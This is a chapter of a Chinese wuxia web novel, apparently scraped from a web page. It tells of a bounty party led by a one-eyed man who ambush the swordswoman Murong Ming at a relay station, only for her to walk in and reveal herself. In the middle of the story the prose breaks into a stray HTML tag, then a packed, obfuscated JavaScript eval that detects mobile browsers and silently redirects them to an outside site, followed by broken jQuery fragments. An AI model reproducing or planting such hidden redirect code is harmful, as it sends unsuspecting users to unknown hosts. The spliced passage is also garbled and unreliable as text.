萧迢没料到穆朝青竟赶鸭子上架,大吃一惊,赶忙阻止道:“等等!穆兄你……”
穆朝青扭头看向萧迢,笑得像只狡黠的狐狸,循循善诱道:“如此这般,萧兄你既能拿到钱,我也能见到慕容暝,怎么说都是咱们双赢,稳赚不赔的生意!”
萧迢对他这一堆天花乱坠的理由感到哭笑不得,扶额问道:“穆兄,你为何这么想跟着我一起去见慕容暝?”
穆朝青道:“那可是大名鼎鼎的雪无常啊,江湖中何人不知她的名号,要是能亲眼一睹她的风采,对我的话本创作一定大有助益。”
萧迢道:“那穆兄你可知,慕容暝她那雪无常的名号是如何得来的?”
“这我当然知道!”一听到要讲故事,穆朝青兴致高涨,滔滔不绝起来:
“那是四年前的一个大雪天,邪道聚集了十余位顶尖强者,想要合伙绞杀这位问剑谷少主,瓜分恶剑魔内力。她以一敌众,于雪中鏖战一天一夜。一夜过后,雪停,十余位邪道高手竟无一生还,只剩她慕容暝一人立于雪上,白雪染成了红雪,白衣染成了红衣,如同踏雪而来的索命无常。自此之后,她一战扬名,也得了雪无常这个名号。”
萧迢道:“其实……我一直都觉得,雪无常这个名号并不好。”
“嗯?”穆朝青挑眉瞪眼,疑惑道:“江湖人不都以能够拥有自己的名号为荣么,萧兄为何会这么觉得?”
萧迢沉吟片刻,坦然道出心中所想:“人人都知她是被邪道合伙围攻,她不杀人,人便要来杀她。她明明求的是自保,却要被安上这等将她比作鬼怪的名号,也从来没人问过她喜不喜欢、想不想当这个索命无常。”
萧迢和穆朝青聊得热火朝天,却没看到,戴着帷帽的慕容暝正坐在他们斜后方不远处,将他们的对话一字不落听了进去。
慕容暝再一次掀起了帽纱,眸光定定锁在萧迢身上。
对于那些对她喊打喊杀的人,慕容暝早已习以为常,她也从不把这些乌合之众放在眼里。可她从未想过,有一天会听到有人为她鸣不平。
这倒是破天荒头一遭。
这旁,穆朝青若有所思地点了点头,道:“听萧兄你话里的意思,似乎对这慕容少主还挺看重的……那萧兄你就更得加入狩猎了,要是慕容少主她独木难支寡不敌众,兴许你还能帮帮她呢!”
萧迢:“……”
萧迢无语凝噎,只觉得自己方才的一番口舌通通喂了狗,全都白说。但他看着穆朝青一脸恳切地望着自己,心渐渐软了下去。
其实不单单是穆朝青,萧迢自己同样对那位慕容少主充满了好奇,一直想要亲眼一睹她究竟是何等风采斐然。如今有这样一个绝佳的机会摆在眼前,说他半点心思不动,那纯粹是睁着眼睛说瞎话。
萧迢微微一叹,最终还是让步了,道:“好吧,我可以带穆兄你加入狩猎队伍,但你得顾好自己,到时他们若真动起手来,说不定会误伤到你。”
穆朝青见他松口,瞬间笑逐颜开,拍着胸口保证道:“多谢萧兄,你就放一百个心好了,我自有分寸!”
慕容暝听着,心中不禁感慨萧迢真是顶好的脾气,被那姓穆的书生当成包子揉搓来拿捏去,也没有半分气恼。
慕容暝轻声自语:“既然为我备下了一出好戏,不去看看,岂不可惜?”
说罢,她施然起身,将茶钱留在桌面,转身离去。
以萧迢的功夫,不费吹灰之力便通过了独眼壮汉的入队考核,也顺理成章将穆朝青顺带捎进了队伍里。待独眼壮汉召集到了足够的人手,正式揭晓了他此次的行动计划。
独眼壮汉对众人道:“我手里有可靠消息,慕容暝这两日在陵州城内现身过,而半个月之后,便是问剑谷召开集英大会的日子。”
穆朝青闻言,恍然道:“对诶,集英大会四年一度,今年正好到日子了……萧兄,你的年纪应该正好符合参加集英会的要求,你武功又这么好,你的师门没派你去参加集英大会?”
萧迢却难得的沉默了,他眼神微黯,缄口不答,只当没听见穆朝青的问题。
独眼壮汉接着道:“慕容暝身为问剑谷少主,她要代表问剑谷参加这次集英大会,一定不能缺席,她若要在集英大会之前赶回问剑谷,这两日必得从陵州城动身启程。”
有人问道:“你是说,在慕容暝回问剑谷的路上埋伏她?”
“正是如此!”独眼壮汉指着面前地图上的一处标记,信心满满地道:“从陵州城到问剑谷,一定会经过此处一个名为半坡驿的驿馆。我们先行一步,在半坡驿设下埋伏,守株待兔,等到慕容暝现身就杀她个措手不及!”
队伍内的众人闻言,纷纷点头应和,眼中闪烁着兴奋贪婪的光芒,仿佛对慕容暝这个目标已经十拿九稳、志在必得。唯独萧迢并未做声,嘴角牵起一个轻嘲的弧度。
穆朝青察觉到萧迢的神情,压低声音问道:“萧兄,你是觉得有什么不妥?”
萧迢道:“他们想得太简单了,慕容暝绝不会中这样白痴的埋伏。像她这般常年在刀尖上行走的人,一定是心思缜密、处处提防着的,这半坡驿是回问剑谷的必经之路,她怎会不知这是一处绝佳的埋伏点?怕是还没轮到他们守株待兔,慕容暝就已经先发制人了。”
穆朝青道:“也对,萧兄说的在理啊。”
独眼壮汉并未发觉萧迢和穆朝青的窃窃私语,干劲满满地分派着每个人的任务。他握起拳头在半空中一挥,道:“诸位,成败在此一举,只要拿下慕容暝,不论是金银财宝,还是恶剑魔的内力,都是我们的囊中之物!”
萧迢只觉得他们异想天开,悄然掀了个白眼,腹诽道:“倒不如睡一觉,梦里什么都有。”
萧迢所料不错,慕容暝早就猜到他们会选在半坡驿埋伏。不过,她选择先发制人,而是优哉游哉地驾着马,按照原本的计划不紧不慢地返回问剑谷。
慕容暝刚策马来到距半坡驿还有几里远的地方,便敏锐地察觉到远处有人鬼祟出没,监视着她的动向。
“果然,还真是半点新意也无。”慕容暝扬起手中马鞭,朝着半坡驿的方向长驱直入,“驾!”
她从没想过要躲。
速速奔至半坡驿后,慕容暝勒马停在驿馆门前,利落翻身下马,旋即将手中马鞭一挥而出,裹挟着醇厚气劲,直直劈向驿馆大门。
“轰——!”
一声巨响,驿馆大门应声震开,两扇门扉摇摇欲坠,吱呀乱叫。驿馆内的众人被这猝不及防的动静惊得虎躯一震,有人险些坐不住,哆嗦着猛然起身,也有人慌乱中下意识亮出武器,凶光乍现。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096014|194806||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
一惊之下,驿馆内众人反应各异,精彩纷呈,被慕容暝一一看在眼里。
有人惊疑不定,嚷嚷道:“什么人?!”
慕容暝置若罔闻,道:“好莫名其妙的问题,这驿馆在此开门迎客,我想进便进,你管我是什么人?”
说罢,慕容暝扫视驿馆之内,驿馆小二早已战战兢兢缩在柜台后头,大气不敢出一丝。除了小二外,驿馆内还有十余号人,身上衣饰以及随身佩着的武器五花八门,在悬赏榜前叫嚣的独眼壮汉也赫然在列,显然就是那日接了狩猎悬赏的江湖人。
与此同时,这群人同样也在打量着慕容暝。
他们此前并未亲眼见过慕容暝真容,今日她又带了抹额遮起崭绝印,自然是认不出她的。他们只觉得眼前这突然出现的女子气势汹汹,周身散发的冷冽气息更让人生怯,一时间齐齐闭上了嘴,没人敢作声。
萧迢此刻坐在驿馆角落一张桌旁,视线落于慕容暝身上的瞬间,骤然瞪大双眼。慕容暝今日身着碧色束腰武服,不似前夜初遇那般苍白虚弱,风姿飒然,卓尔不群,如神锋出鞘般灿然生光。
萧迢惊诧道:“这是前天夜里的那位姑娘……她怎么会在这里,难道是又遇上什么麻烦事了?”
穆朝青的视线在萧迢和慕容暝之间几番往返,问道:“萧兄,你在那叽里咕噜说什么呢,你认识这个姑娘?”
萧迢随口答道:“只是有过一面之缘。”
旋即,萧迢暗道一声不妙,这姑娘和慕容暝年纪相仿,万一被这群人认作慕容暝不由分说大打出手,恐怕会误伤了她,他得想个办法,让她尽快远离这是非之地才行。
两方就这么无声地对峙着,仿佛连空气都结了层霜,直到驿馆门外传来一道急促的声音打破僵局:“来了……来了!有个女的骑着马过来了!”
这人是他们先前派出去望风的探子,独眼壮汉叮嘱过他,只要见到年纪和慕容暝相仿的女子就立刻回来报信。
驿馆内弥漫着尴尬气氛,慕容暝在众目睽睽之下,泰然自若地在一张空桌前端坐,替自己倒了杯茶,轻抿一口,缓缓道:“哦,你看到的是我么?”
探子这才看到一旁还坐着个女子,定睛细瞧,大惊失色道:“是,就是你!”探子说罢,又有些茫然,“咦?不对啊,你怎么会赶在我前头到驿馆呢……?”
独眼壮汉忍无可忍,对那成事不足败事有余的探子道:“行了,你快给老子闭嘴吧!”
独眼壮汉转而面向慕容暝,将手中鬼头阔刀向前一挥,厉声质问道:“你……你大爷的到底谁啊?!”
“可笑,口口声声说要杀我,却连我是何模样都不认得。”慕容暝冷冷嗤笑,信手将抹额解下,赫然露出遮于抹额后的崭绝印,“如何,这下可认得了?”
“那是……崭绝印!”
“你是慕容暝?!”
“这这这……这便是那个雪无常?”
在驿馆内埋伏的众人瞠目结舌,他们的目标竟然就这样堂而皇之、大摇大摆地出现在他们面前,还和他们有来有回地聊着天喝着茶,根本就没把他们当一回事!
萧迢怔然望向慕容暝,不知为何,他蓦然回忆起她的剑刃抵在脖颈时的寒凉触感,心头悸动般短促一紧。
“是她……她竟然就是慕容暝。”